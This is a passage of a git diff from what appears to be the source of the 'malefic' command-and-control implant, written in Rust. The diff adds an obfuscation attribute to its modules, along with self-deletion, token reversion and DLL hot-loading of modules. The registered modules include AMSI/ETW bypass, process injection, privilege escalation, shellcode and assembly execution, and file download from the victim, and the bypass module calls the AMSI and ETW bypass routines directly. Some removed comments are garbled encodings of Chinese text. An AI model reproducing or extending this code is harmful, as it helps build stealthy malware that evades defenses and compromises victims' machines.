malefic_proto::module::ModuleImpl for PipeRead { array: vec![], }; return Ok(TaskResult::new_with_body(id, Body::Response(resp))); - }, + } }; let mut buffer = vec![0; 4096]; @@ -153,9 +165,9 @@ impl malefic_proto::module::ModuleImpl for PipeRead { } } -lazy_static::lazy_static! { +malefic_gateway::lazy_static! { static ref PIPE_SERVERS: Arc>>> = Arc::new(Mutex::new(HashMap::new())); - static ref PIPE_DATA_CACHE: Arc>>> = Arc::new(Mutex::new(HashMap::new())); + static ref PIPE_DATA_CACHE: Arc>>>> = Arc::new(Mutex::new(HashMap::new())); } pub struct PipeServer {} @@ -165,38 +177,32 @@ pub struct PipeServer {} impl Module for PipeServer {} #[async_trait] -impl malefic_proto::module::ModuleImpl for PipeServer { +#[obfuscate] +impl malefic_module::ModuleImpl for PipeServer { async fn run( &mut self, id: u32, - receiver: &mut malefic_proto::module::Input, - sender: &mut malefic_proto::module::Output, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, ) -> ModuleResult { let pipe_info = check_request!(receiver, Body::PipeRequest)?; - let action = check_field!(pipe_info.target)?; // 使用target字段作为action + let action = check_field!(pipe_info.target)?; // Use target field as action let pipe_name = check_field!(pipe_info.name)?; - + match action.as_str() { - "start" => { - self.start_server(id, &pipe_name, sender).await - }, - "stop" => { - self.stop_server(id, &pipe_name).await - }, - "list" => { - self.list_servers(id).await - }, - "clear" => { - self.clear_cache(id, &pipe_name).await - }, - "status" => { - self.get_server_status(id, &pipe_name).await - }, + "start" => self.start_server(id, &pipe_name, sender).await, + "stop" => self.stop_server(id, &pipe_name).await, + "list" => self.list_servers(id).await, + "clear" => self.clear_cache(id, &pipe_name).await, + "status" => self.get_server_status(id, &pipe_name).await, _ => { let resp = Response { output: "".to_string(), - error: format!("Unknown action: {}. Available actions: start, stop, list, clear, status", action), + error: format!( + "Unknown action: {}. Available actions: start, stop, list, clear, status", + action + ), kv: Default::default(), array: vec![], }; @@ -206,19 +212,20 @@ impl malefic_proto::module::ModuleImpl for PipeServer { } } +#[obfuscate] impl PipeServer { async fn start_server( &mut self, id: u32, pipe_name: &str, - sender: &mut malefic_proto::module::Output, + _sender: &mut malefic_module::Output, ) -> ModuleResult { let full_pipe_name = if pipe_name.starts_with("\\\\.\\pipe\\") { pipe_name.to_string() } else { format!("\\\\.\\pipe\\{}", pipe_name) }; - + { let servers = PIPE_SERVERS.lock().unwrap(); if servers.contains_key(&full_pipe_name) { @@ -233,12 +240,12 @@ impl PipeServer { } let running = Arc::new(AtomicBool::new(true)); - + { let mut servers = PIPE_SERVERS.lock().unwrap(); servers.insert(full_pipe_name.clone(), running.clone()); } - + { let mut cache = PIPE_DATA_CACHE.lock().unwrap(); cache.insert(full_pipe_name.clone(), VecDeque::new()); @@ -246,11 +253,10 @@ impl PipeServer { let pipe_name_clone = full_pipe_name.clone(); let running_clone = running.clone(); - let mut sender_clone = sender.clone(); let handle = std::thread::spawn(move || { - let mut client_id = 0u32; - + let mut _client_id = 0u32; + while running_clone.load(Ordering::Relaxed) { let pipe = match NamedPipe::create(&pipe_name_clone) { Ok(pipe) => pipe, @@ -260,46 +266,60 @@ impl PipeServer { } }; - debug!("Pipe server {} waiting for client connection...", &pipe_name_clone); + debug!( + "Pipe server {} waiting for client connection...", + &pipe_name_clone + ); if let Err(_) = pipe.wait() { std::thread::sleep(std::time::Duration::from_millis(100)); continue; } - client_id += 1; - debug!("Client {} connected to pipe {}", client_id, &pipe_name_clone); + _client_id += 1; + debug!( + "Client {} connected to pipe {}", + _client_id, &pipe_name_clone + ); let mut buffer = vec![0u8; 4096]; - + loop { if !running_clone.load(Ordering::Relaxed) { break; } - + match pipe.read(&mut buffer) { Ok(bytes_read) => { if bytes_read == 0 { - debug!("Client {} disconnected from pipe {}", client_id, &pipe_name_clone); + debug!( + "Client {} disconnected from pipe {}", + _client_id, &pipe_name_clone + ); break; } let data = &buffer[..bytes_read as usize]; - let data_str = String::from_utf8_lossy(data).to_string(); - debug!("Received {} bytes from client {} on pipe {}: {}", bytes_read, client_id, &pipe_name_clone, &data_str); + debug!( + "Received {} bytes from client {} on pipe {}", + bytes_read, _client_id, &pipe_name_clone + ); { let mut cache = PIPE_DATA_CACHE.lock().unwrap(); if let Some(queue) = cache.get_mut(&pipe_name_clone) { - queue.push_back(data_str); + queue.push_back(data.to_vec()); while queue.len() > 1000 { queue.pop_front(); } } } - }, + } Err(_e) => { - debug!("Read error on pipe {} for client {}: {:?}", &pipe_name_clone, client_id, _e); + debug!( + "Read error on pipe {} for client {}: {:?}", + &pipe_name_clone, _client_id, _e + ); break; } } @@ -307,17 +327,20 @@ impl PipeServer { std::thread::sleep(std::time::Duration::from_millis(10)); } - debug!("Client {} handler for pipe {} finished", client_id, &pipe_name_clone); + debug!( + "Client {} handler for pipe {} finished", + _client_id, &pipe_name_clone + ); } debug!("Pipe server {} shutting down", &pipe_name_clone); - + { let mut servers = PIPE_SERVERS.lock().unwrap(); servers.remove(&pipe_name_clone); } }); - + let _ = handle; let resp = Response { @@ -341,12 +364,15 @@ impl PipeServer { let mut servers = PIPE_SERVERS.lock().unwrap(); if let Some(running) = servers.remove(&full_pipe_name) { running.store(false, Ordering::Relaxed); - + let mut cache = PIPE_DATA_CACHE.lock().unwrap(); let cache_count = cache.get(&full_pipe_name).map(|q| q.len()).unwrap_or(0); cache.remove(&full_pipe_name); - - format!("Pipe server {} stopped successfully, cleared {} cached messages", full_pipe_name, cache_count) + + format!( + "Pipe server {} stopped successfully, cleared {} cached messages", + full_pipe_name, cache_count + ) } else { format!("Pipe server {} is not running", full_pipe_name) } @@ -396,7 +422,10 @@ impl PipeServer { if let Some(queue) = cache.get_mut(&full_pipe_name) { let count = queue.len(); queue.clear(); - format!("Cleared {} cached messages from pipe {}", count, full_pipe_name) + format!( + "Cleared {} cached messages from pipe {}", + count, full_pipe_name + ) } else { format!("No cache found for pipe {}", full_pipe_name) } @@ -422,15 +451,18 @@ impl PipeServer { let (is_running, cache_size) = { let servers = PIPE_SERVERS.lock().unwrap(); let is_running = servers.contains_key(&full_pipe_name); - + let cache = PIPE_DATA_CACHE.lock().unwrap(); let cache_size = cache.get(&full_pipe_name).map(|q| q.len()).unwrap_or(0); - + (is_running, cache_size) }; let status = if is_running { - format!("Pipe server {} is running with {} cached messages", full_pipe_name, cache_size) + format!( + "Pipe server {} is running with {} cached messages", + full_pipe_name, cache_size + ) } else { format!("Pipe server {} is not running", full_pipe_name) }; @@ -445,18 +477,19 @@ impl PipeServer { Ok(TaskResult::new_with_body(id, Body::Response(resp))) } + #[allow(dead_code)] async fn run_pipe_server( pipe_name: &str, running: Arc, - sender: malefic_proto::module::Output, + _sender: malefic_module::Output, ) -> Result<(), Box> { - let mut client_id = 0u32; + let mut _client_id = 0u32; while running.load(Ordering::Relaxed) { let pipe = match NamedPipe::create(pipe_name) { Ok(pipe) => pipe, - Err(e) => { - debug!("Failed to create pipe {}: {:?}", pipe_name, e); + Err(_e) => { + debug!("Failed to create pipe {}: {:?}", pipe_name, _e); Delay::new(Duration::from_millis(100)).await; continue; } @@ -464,19 +497,17 @@ impl PipeServer { debug!("Pipe server {} waiting for client connection...", pipe_name); - if let Err(e) = pipe.wait() { - debug!("Failed to wait for client on {}: {:?}", pipe_name, e); - tokio::time::sleep(std::time::Duration::from_millis(100)).await; + if let Err(_e) = pipe.wait() { + debug!("Failed to wait for client on {}: {:?}", pipe_name, _e); + Delay::new(Duration::from_millis(100)).await; continue; } - client_id += 1; - debug!("Client {} connected to pipe {}", client_id, pipe_name); - + _client_id += 1; + debug!("Client {} connected to pipe {}", _client_id, pipe_name); } debug!("Pipe server {} shutting down", pipe_name); Ok(()) } - } diff --git a/malefic-modules/src/fs/pwd.rs b/malefic-modules/src/fs/pwd.rs index c45de98..3e54127 100644 --- a/malefic-modules/src/fs/pwd.rs +++ b/malefic-modules/src/fs/pwd.rs @@ -1,6 +1,5 @@ use crate::prelude::*; - pub struct Pwd {} #[async_trait] @@ -8,9 +7,15 @@ pub struct Pwd {} impl Module for Pwd {} #[async_trait] -impl malefic_proto::module::ModuleImpl for Pwd { +#[obfuscate] +impl malefic_module::ModuleImpl for Pwd { #[allow(unused_variables)] - async fn run(&mut self, id: u32, receiver: &mut malefic_proto::module::Input, sender: &mut malefic_proto::module::Output) -> ModuleResult { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> ModuleResult { let _ = check_request!(receiver, Body::Request)?; let mut response = Response::default(); diff --git a/malefic-modules/src/fs/rm.rs b/malefic-modules/src/fs/rm.rs index f1c95a3..5957867 100644 --- a/malefic-modules/src/fs/rm.rs +++ b/malefic-modules/src/fs/rm.rs @@ -1,22 +1,27 @@ use crate::prelude::*; -pub struct Rm{} +pub struct Rm {} #[async_trait] #[module_impl("rm")] impl Module for Rm {} #[async_trait] +#[obfuscate] impl ModuleImpl for Rm { - #[allow(unused_variables)] - async fn run(&mut self, id: u32, receiver: &mut malefic_proto::module::Input, sender: &mut malefic_proto::module::Output) -> ModuleResult { + #[allow(unused_variables)] + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> ModuleResult { let request = check_request!(receiver, Body::Request)?; let filename = check_field!(request.input)?; - // å°è¯•删除文件,如果失败则返回错误 + // Attempt to delete file, return error if failed std::fs::remove_file(filename)?; - Ok(TaskResult::new(id)) } } diff --git a/malefic-modules/src/fs/touch.rs b/malefic-modules/src/fs/touch.rs new file mode 100644 index 0000000..bee8688 --- /dev/null +++ b/malefic-modules/src/fs/touch.rs @@ -0,0 +1,29 @@ +use crate::prelude::*; +use std::path::Path; + +pub struct Touch {} + +#[async_trait] +#[module_impl("touch")] +impl Module for Touch {} + +#[async_trait] +#[obfuscate] +impl ModuleImpl for Touch { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + _sender: &mut malefic_module::Output, + ) -> ModuleResult { + let request = check_request!(receiver, Body::Request)?; + let path_str = check_field!(request.input)?; + let path = Path::new(&path_str); + + if !path.exists() { + std::fs::File::create(path)?; + } + + Ok(TaskResult::new(id)) + } +} diff --git a/malefic-modules/src/lib.rs b/malefic-modules/src/lib.rs index bd2e3f0..39a323d 100644 --- a/malefic-modules/src/lib.rs +++ b/malefic-modules/src/lib.rs @@ -31,6 +31,7 @@ pub extern "C" fn register_modules() -> MaleficBundle { register_module!(map, "cp", fs::cp::Cp); register_module!(map, "mkdir", fs::mkdir::Mkdir); register_module!(map, "cat", fs::cat::Cat); + register_module!(map, "touch", fs::touch::Touch); register_module!(map, "upload", net::upload::Upload); register_module!(map, "download", net::download::Download); @@ -59,8 +60,6 @@ pub extern "C" fn register_modules() -> MaleficBundle { #[cfg(target_os = "windows")] { - register_module!(map, "wmi", sys::wmi::WmiQuery); - register_module!(map, "wmi", sys::wmi::WmiExecuteMethod); register_module!(map, "service", sys::service::ServiceList); register_module!(map, "service", sys::service::ServiceStart); register_module!(map, "service", sys::service::ServiceStop); @@ -80,10 +79,12 @@ pub extern "C" fn register_modules() -> MaleficBundle { register_module!(map, "registry", sys::reg::RegListKey); register_module!(map, "registry", sys::reg::RegListValue); register_module!(map, "bypass", sys::bypass::Bypass); + register_module!(map, "self_dele", sys::self_dele::SelfDele); register_module!(map, "inject", sys::inject::Inject); register_module!(map, "runas", sys::token::RunAs); register_module!(map, "privs", sys::token::GetPriv); register_module!(map, "getsystem", sys::token::GetSystem); + register_module!(map, "rev2self", sys::token::Rev2Self); register_module!(map, "enum_drivers", fs::driver::EnumDrivers); // register_module!(map, "pipe", fs::pipe::PipeClose); @@ -116,6 +117,154 @@ pub extern "C" fn register_modules() -> MaleficBundle { register_module!(map, "execute_exe", execute::execute_exe::ExecuteExe); register_module!(map, "execute_dll", execute::execute_dll::ExecuteDll); register_module!(map, "execute_local", execute::execute_local::ExecuteLocal); + + #[cfg(feature = "wmi")] + { + register_module!(map, "wmi", sys::wmi::WmiQuery); + register_module!(map, "wmi", sys::wmi::WmiExecuteMethod); + } } map } + +// DLL export: C ABI functions for runtime hot-loading. +// Each module mirrors register_modules() with matching cfg gates. +#[cfg(feature = "as_module_dll")] +malefic_module::register_rt_modules!( + // fs + #[cfg(feature = "pwd")] + fs::pwd::Pwd, + #[cfg(feature = "cd")] + fs::cd::Cd, + #[cfg(feature = "ls")] + fs::ls::Ls, + #[cfg(feature = "rm")] + fs::rm::Rm, + #[cfg(feature = "mv")] + fs::mv::Mv, + #[cfg(feature = "cp")] + fs::cp::Cp, + #[cfg(feature = "mkdir")] + fs::mkdir::Mkdir, + #[cfg(feature = "cat")] + fs::cat::Cat, + #[cfg(feature = "touch")] + fs::touch::Touch, + // net + #[cfg(feature = "upload")] + net::upload::Upload, + #[cfg(feature = "download")] + net::download::Download, + // execute + #[cfg(feature = "exec")] + execute::exec::Exec, + #[cfg(feature = "open")] + execute::open::Open, + #[cfg(feature = "execute_shellcode")] + execute::execute_shellcode::ExecuteShellcode, + // sys + #[cfg(feature = "kill")] + sys::kill::Kill, + #[cfg(feature = "whoami")] + sys::whoami::Whoami, + #[cfg(feature = "env")] + sys::env::Env, + #[cfg(feature = "env")] + sys::env::Setenv, + #[cfg(feature = "env")] + sys::env::Unsetenv, + #[cfg(feature = "ps")] + sys::ps::Ps, + #[cfg(feature = "netstat")] + sys::netstat::Netstat, + #[cfg(feature = "info")] + sys::info::SysInfo, + // unix + #[cfg(all(target_family = "unix", feature = "chmod"))] + fs::chmod::Chmod, + #[cfg(all(target_family = "unix", feature = "chown"))] + fs::chown::Chown, + // windows + #[cfg(all(target_os = "windows", feature = "service"))] + sys::service::ServiceList, + #[cfg(all(target_os = "windows", feature = "service"))] + sys::service::ServiceStart, + #[cfg(all(target_os = "windows", feature = "service"))] + sys::service::ServiceStop, + #[cfg(all(target_os = "windows", feature = "service"))] + sys::service::ServiceDelete, + #[cfg(all(target_os = "windows", feature = "service"))] + sys::service::ServiceQuery, + #[cfg(all(target_os = "windows", feature = "service"))] + sys::service::ServiceCreate, + #[cfg(all(target_os = "windows", feature = "taskschd"))] + sys::taskschd::TaskSchdList, + #[cfg(all(target_os = "windows", feature = "taskschd"))] + sys::taskschd::TaskSchdQuery, + #[cfg(all(target_os = "windows", feature = "taskschd"))] + sys::taskschd::TaskSchdCreate, + #[cfg(all(target_os = "windows", feature = "taskschd"))] + sys::taskschd::TaskSchdDelete, + #[cfg(all(target_os = "windows", feature = "taskschd"))] + sys::taskschd::TaskSchdStart, + #[cfg(all(target_os = "windows", feature = "taskschd"))] + sys::taskschd::TaskSchdRun, + #[cfg(all(target_os = "windows", feature = "taskschd"))] + sys::taskschd::TaskSchdStop, + #[cfg(all(target_os = "windows", feature = "registry"))] + sys::reg::RegQuery, + #[cfg(all(target_os = "windows", feature = "registry"))] + sys::reg::RegAdd, + #[cfg(all(target_os = "windows", feature = "registry"))] + sys::reg::RegDelete, + #[cfg(all(target_os = "windows", feature = "registry"))] + sys::reg::RegListKey, + #[cfg(all(target_os = "windows", feature = "registry"))] + sys::reg::RegListValue, + #[cfg(all(target_os = "windows", feature = "bypass"))] + sys::bypass::Bypass, + #[cfg(all(target_os = "windows", feature = "self_dele"))] + sys::self_dele::SelfDele, + #[cfg(all(target_os = "windows", feature = "inject"))] + sys::inject::Inject, + #[cfg(all(target_os = "windows", feature = "runas"))] + sys::token::RunAs, + #[cfg(all(target_os = "windows", feature = "privs"))] + sys::token::GetPriv, + #[cfg(all(target_os = "windows", feature = "getsystem"))] + sys::token::GetSystem, + #[cfg(all(target_os = "windows", feature = "rev2self"))] + sys::token::Rev2Self, + #[cfg(all(target_os = "windows", feature = "enum_drivers"))] + fs::driver::EnumDrivers, + #[cfg(all(target_os = "windows", feature = "pipe"))] + fs::pipe::PipeRead, + #[cfg(all(target_os = "windows", feature = "pipe"))] + fs::pipe::PipeUpload, + #[cfg(all(target_os = "windows", feature = "pipe"))] + fs::pipe::PipeServer, + #[cfg(all(target_os = "windows", feature = "execute_bof"))] + execute::execute_bof::ExecuteBof, + #[cfg(all(target_os = "windows", feature = "execute_powershell"))] + execute::execute_powershell::ExecutePowershell, + #[cfg(all(target_os = "windows", feature = "execute_assembly"))] + execute::execute_assembly::ExecuteAssembly, + #[cfg(all(target_os = "windows", feature = "dllspawn"))] + execute::dllspawn::ExecuteDllSpawn, + #[cfg(all(target_os = "windows", feature = "inline_local"))] + execute::inline_local::InlineLocal, + #[cfg(all(target_os = "windows", feature = "execute_armory"))] + execute::execute_armory::ExecuteArmory, + #[cfg(all(target_os = "windows", feature = "execute_exe"))] + execute::execute_exe::ExecuteExe, + #[cfg(all(target_os = "windows", feature = "execute_dll"))] + execute::execute_dll::ExecuteDll, + #[cfg(all(target_os = "windows", feature = "execute_local"))] + execute::execute_local::ExecuteLocal, + #[cfg(all(target_os = "windows", feature = "wmi"))] + sys::wmi::WmiQuery, + #[cfg(all(target_os = "windows", feature = "wmi"))] + sys::wmi::WmiExecuteMethod, + #[cfg(feature = "thread_spawn_test")] + sys::thread_spawn_test::ThreadSpawnTest +); diff --git a/malefic-modules/src/net/download.rs b/malefic-modules/src/net/download.rs index 37e3a93..1a07955 100644 --- a/malefic-modules/src/net/download.rs +++ b/malefic-modules/src/net/download.rs @@ -1,16 +1,17 @@ use crate::{check_field, check_request, Module, ModuleImpl, TaskResult}; use async_trait::async_trait; -use malefic_helper::common::filesys::{check_sum, check_sum_bytes}; -use malefic_helper::debug; -use malefic_proto::proto::modulepb::{DownloadResponse, DownloadRequest}; -use malefic_proto::proto::implantpb::{spite::Body}; -use malefic_trait::module_impl; -use std::fs::{metadata, read_dir, File, OpenOptions}; +use futures::SinkExt; +use malefic_common::debug; +use malefic_gateway::module_impl; +use malefic_gateway::obfuscate; +use malefic_module::ModuleResult; +use malefic_proto::proto::implantpb::spite::Body; +use malefic_proto::proto::modulepb::{DownloadRequest, DownloadResponse}; +use malefic_sysinfo::filesys::{check_sum_bytes, check_sum_read}; +use std::fs::{read_dir, File}; use std::io::{Cursor, Read, Seek, Write}; use std::path::Path; -use futures::SinkExt; use tar::{Builder, Header}; -use malefic_proto::ModuleResult; pub struct Download {} @@ -19,19 +20,20 @@ pub struct Download {} impl Module for Download {} #[async_trait] +#[obfuscate] impl ModuleImpl for Download { async fn run( &mut self, id: u32, - receiver: &mut malefic_proto::module::Input, - sender: &mut malefic_proto::module::Output, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, ) -> ModuleResult { let request = check_request!(receiver, Body::DownloadRequest)?; if request.dir { - self.download_dir(id,receiver, sender, request).await + self.download_dir(id, receiver, sender, request).await } else { - self.download_file(id,receiver, sender, request).await + self.download_file(id, receiver, sender, request).await } } } @@ -39,43 +41,48 @@ impl ModuleImpl for Download { impl Download { pub async fn download_file( &mut self, - id : u32, - receiver: &mut malefic_proto::module::Input, - sender: &mut malefic_proto::module::Output, - request: DownloadRequest + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + request: DownloadRequest, ) -> ModuleResult { let path: String = check_field!(request.path)?; - let mut file = OpenOptions::new().read(true).open(path.clone())?; - - let sum = check_sum(&path)?; - let metadata = metadata(&path)?; - let size = metadata.len(); + let mut file = File::open(&path)?; + let size = file.metadata()?.len(); + let sum = check_sum_read(&mut file)?; debug!("checksum: {}, size: {}", sum, size); let _ = sender .send(TaskResult::new_with_body( id, Body::DownloadResponse(DownloadResponse { - checksum: (sum), - size: (size), + checksum: sum, + size: size, cur: 0, content: Vec::new(), }), )) .await?; - let buffer_size = request.buffer_size ; - let total_cur = size / buffer_size as u64 + 1; - let mut buffer = vec![0; buffer_size as usize]; + let buffer_size = request.buffer_size as usize; + let total_cur = (size as usize + buffer_size - 1) / buffer_size; + let mut buffer = vec![0u8; buffer_size]; loop { - let drequest = check_request!(receiver, Body::DownloadRequest)?; - debug!("Receive DownloadRequest, cur: {}",drequest.cur); + debug!("Receive DownloadRequest, cur: {}", drequest.cur); let cur = drequest.cur; let buffer_size = drequest.buffer_size as usize; - let byte_offset = (cur -1) as u64 * buffer_size as u64; - let _position = file.seek(std::io::SeekFrom::Start(byte_offset))?; - let n = file.read(&mut buffer)?; + let byte_offset = (cur - 1) as u64 * buffer_size as u64; + file.seek(std::io::SeekFrom::Start(byte_offset))?; + let mut total_read = 0; + while total_read < buffer_size { + let n = file.read(&mut buffer[total_read..])?; + if n == 0 { + break; + } + total_read += n; + } + let n = total_read; let sha256sum = check_sum_bytes(&buffer[..n])?; debug!("checksum: {}, size: {}, cur: {}", sha256sum.clone(), n, cur); let resp = DownloadResponse { @@ -85,34 +92,35 @@ impl Download { content: buffer[..n].to_vec(), }; - if drequest.cur == -1 || cur == total_cur as i32 || n < buffer_size { - debug!("Send spite[{}] success, end",cur); - return Ok(TaskResult::new_with_body(id,Body::DownloadResponse(resp))); - } else{ - let _ = sender.send( - TaskResult::new_with_body( - id, - Body::DownloadResponse(resp) - )).await?; - debug!("Send spite[{}] success",cur); + if drequest.cur == -1 || cur == total_cur as i32 || n < buffer_size { + debug!("Send spite[{}] success, end", cur); + return Ok(TaskResult::new_with_body(id, Body::DownloadResponse(resp))); + } else { + let _ = sender + .send(TaskResult::new_with_body(id, Body::DownloadResponse(resp))) + .await?; + debug!("Send spite[{}] success", cur); } } } pub async fn download_dir( - &mut self , - id : u32, - receiver: &mut malefic_proto::module::Input, - sender: &mut malefic_proto::module::Output, - request: DownloadRequest + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + request: DownloadRequest, ) -> ModuleResult { let path: String = check_field!(request.path)?; let archive_buffer = self.create_tar_archive(&path)?; let sha256sum = check_sum_bytes(archive_buffer.as_slice())?; let size = archive_buffer.len() as u64; - debug!("TAR打包完æˆï¼Œæ€»å¤§å°: {} 字节, checksum: {}", size, sha256sum); + debug!( + "TAR packaging complete, total size: {} bytes, checksum: {}", + size, sha256sum + ); - // å‘é€åˆå§‹å“åº”ï¼ŒåŒ…å«æ€»å¤§å°å’Œæ ¡éªŒå’Œ + // Send initial response with total size and checksum let _ = sender .send(TaskResult::new_with_body( id, @@ -136,14 +144,14 @@ impl Download { let buffer_size = drequest.buffer_size as usize; let byte_offset = ((cur - 1) as u64 * buffer_size as u64) as usize; - // 计算当å‰åˆ†ç‰‡çš„å®žé™…å¤§å° + // Calculate actual size of current chunk let chunk_size = if byte_offset + buffer_size > archive_buffer.len() { archive_buffer.len() - byte_offset } else { buffer_size }; - // 从内存中的taråŒ…æ•°æ®æå–分片 + // Extract chunk from in-memory tar package data let chunk_data = if byte_offset < archive_buffer.len() { &archive_buffer[byte_offset..byte_offset + chunk_size] } else { @@ -151,7 +159,12 @@ impl Download { }; let chunk_checksum = check_sum_bytes(chunk_data)?; - debug!("checksum: {}, size: {}, cur: {}", chunk_checksum, chunk_data.len(), cur); + debug!( + "checksum: {}, size: {}, cur: {}", + chunk_checksum, + chunk_data.len(), + cur + ); let resp = DownloadResponse { checksum: chunk_checksum, @@ -164,11 +177,9 @@ impl Download { debug!("Send spite[{}] success, end", cur); return Ok(TaskResult::new_with_body(id, Body::DownloadResponse(resp))); } else { - let _ = sender.send( - TaskResult::new_with_body( - id, - Body::DownloadResponse(resp) - )).await?; + let _ = sender + .send(TaskResult::new_with_body(id, Body::DownloadResponse(resp))) + .await?; debug!("Send spite[{}] success", cur); } } @@ -198,8 +209,7 @@ impl Download { base_path.join(relative_path) }; - for entry in read_dir(¤t_path)? { - let entry = entry?; + for entry in read_dir(¤t_path)?.flatten() { let file_name = entry.file_name().to_string_lossy().to_string(); let entry_relative_path = if relative_path.is_empty() { file_name.clone() @@ -207,10 +217,13 @@ impl Download { format!("{}/{}", relative_path, file_name) }; - let metadata = entry.metadata()?; + let metadata = match entry.metadata() { + Ok(m) => m, + Err(_) => continue, + }; if metadata.is_dir() { - // 添加目录æ¡ç›® + // Add directory entry let mut header = Header::new_gnu(); header.set_path(&entry_relative_path)?; header.set_size(0); @@ -219,10 +232,10 @@ impl Download { header.set_cksum(); tar_builder.append(&header, std::io::empty())?; - // 递归处ç†å­ç›®å½• + // Recursively process subdirectories self.add_directory_to_tar(tar_builder, base_path, &entry_relative_path)?; } else { - // 添加文件 + // Add file let mut file = File::open(entry.path())?; let mut header = Header::new_gnu(); header.set_path(&entry_relative_path)?; @@ -232,7 +245,11 @@ impl Download { header.set_cksum(); tar_builder.append(&header, &mut file)?; - debug!("Added file to TAR: {} ({} 字节)", entry_relative_path, metadata.len()); + debug!( + "Added file to TAR: {} ({} bytes)", + entry_relative_path, + metadata.len() + ); } } Ok(()) @@ -246,8 +263,7 @@ impl Download { #[cfg(windows)] fn get_permissions(&self, _metadata: &std::fs::Metadata) -> u32 { - // Windows下简化处ç†ï¼Œè¿”回标准æƒé™ + // Simplified handling on Windows, return standard permissions 0o644 } } - diff --git a/malefic-modules/src/net/mod.rs b/malefic-modules/src/net/mod.rs index f7fbe54..ea5504a 100644 --- a/malefic-modules/src/net/mod.rs +++ b/malefic-modules/src/net/mod.rs @@ -1,4 +1,6 @@ +#[cfg(feature = "download")] pub mod download; +#[cfg(feature = "upload")] pub mod upload; //mod zip; //mod ping; diff --git a/malefic-modules/src/net/upload.rs b/malefic-modules/src/net/upload.rs index efb1a78..b179619 100644 --- a/malefic-modules/src/net/upload.rs +++ b/malefic-modules/src/net/upload.rs @@ -12,12 +12,13 @@ pub struct Upload {} impl Module for Upload {} #[async_trait] +#[obfuscate] impl ModuleImpl for Upload { async fn run( &mut self, id: u32, - receiver: &mut malefic_proto::module::Input, - sender: &mut malefic_proto::module::Output, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, ) -> ModuleResult { let request = check_request!(receiver, Body::UploadRequest)?; @@ -30,7 +31,7 @@ impl ModuleImpl for Upload { .open(target)?; if request.data.is_empty() { - // dataä¸ºç©ºï¼Œä¸æ‰§è¡Œä»»ä½•æ“ä½œæˆ–è¿›è¡Œç‰¹å®šå¤„ç† + // data is empty, do nothing or perform specific handling } else { file.write_all(&request.data)?; return Ok(TaskResult::new_with_ack(id, 0)); diff --git a/malefic-modules/src/prelude.rs b/malefic-modules/src/prelude.rs index 1552f3e..f74e35f 100644 --- a/malefic-modules/src/prelude.rs +++ b/malefic-modules/src/prelude.rs @@ -1,5 +1,16 @@ +pub use async_trait::async_trait; pub use futures::SinkExt; pub use futures::StreamExt; -pub use async_trait::async_trait; -pub use malefic_trait::module_impl; -pub use malefic_proto::prelude::*; \ No newline at end of file +pub use malefic_gateway::module_impl; +pub use malefic_gateway::obfstr; +pub use malefic_gateway::obfuscate; +pub use malefic_module::{ + check_field, check_optional, check_request, debug, register_module, to_error, +}; +pub use malefic_module::{ + Input, MaleficBundle, MaleficModule, Module, ModuleImpl, ModuleResult, Output, TaskError, + TaskResult, +}; +pub use malefic_proto::proto::implantpb::spite::Body; +pub use malefic_proto::proto::implantpb::{Spite, Spites}; +pub use malefic_proto::proto::modulepb::Response; diff --git a/malefic-modules/src/sys/bypass.rs b/malefic-modules/src/sys/bypass.rs index 0eb8081..16bad39 100644 --- a/malefic-modules/src/sys/bypass.rs +++ b/malefic-modules/src/sys/bypass.rs @@ -7,18 +7,19 @@ pub struct Bypass {} impl Module for Bypass {} #[async_trait] +#[obfuscate] impl ModuleImpl for Bypass { async fn run(&mut self, id: u32, receiver: &mut Input, _: &mut Output) -> ModuleResult { let req = check_request!(receiver, Body::BypassRequest)?; unsafe { if req.amsi { - malefic_helper::win::kit::bypass::bypass_amsi(); + malefic_os_win::kit::bypass::bypass_amsi(); } if req.etw { - malefic_helper::win::kit::bypass::bypass_etw(); + malefic_os_win::kit::bypass::bypass_etw(); } } Ok(TaskResult::new(id)) } -} \ No newline at end of file +} diff --git a/malefic-modules/src/sys/env.rs b/malefic-modules/src/sys/env.rs index 000c070..44bb0e7 100644 --- a/malefic-modules/src/sys/env.rs +++ b/malefic-modules/src/sys/env.rs @@ -7,8 +7,14 @@ pub struct Env {} impl Module for Env {} #[async_trait] +#[obfuscate] impl ModuleImpl for Env { - async fn run(&mut self, id: u32, receiver: &mut malefic_proto::module::Input, _sender: &mut malefic_proto::module::Output) -> ModuleResult { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + _sender: &mut malefic_module::Output, + ) -> ModuleResult { let _ = check_request!(receiver, Body::Request)?; let mut env_response = Response::default(); @@ -27,22 +33,26 @@ pub struct Setenv {} impl Module for Setenv {} #[async_trait] +#[obfuscate] impl ModuleImpl for Setenv { - async fn run(&mut self, id: u32, receiver: &mut malefic_proto::module::Input, _sender: &mut malefic_proto::module::Output) -> ModuleResult { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + _sender: &mut malefic_module::Output, + ) -> ModuleResult { let request = check_request!(receiver, Body::Request)?; let args = check_field!(request.args, 2)?; - if let [k,v] = &args[..] { + if let [k, v] = &args[..] { std::env::set_var(k, v); - }else{ + } else { } - - Ok(TaskResult::new(id)) + Ok(TaskResult::new(id)) } } - pub struct Unsetenv {} #[async_trait] @@ -50,13 +60,19 @@ pub struct Unsetenv {} impl Module for Unsetenv {} #[async_trait] +#[obfuscate] impl ModuleImpl for Unsetenv { - async fn run(&mut self, id: u32, receiver: &mut malefic_proto::module::Input, _sender: &mut malefic_proto::module::Output) -> ModuleResult { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + _sender: &mut malefic_module::Output, + ) -> ModuleResult { let request = check_request!(receiver, Body::Request)?; let input = check_field!(request.input)?; std::env::remove_var(input); - Ok(TaskResult::new(id)) + Ok(TaskResult::new(id)) } -} \ No newline at end of file +} diff --git a/malefic-modules/src/sys/example.rs b/malefic-modules/src/sys/example.rs index 4668f80..c3287bb 100644 --- 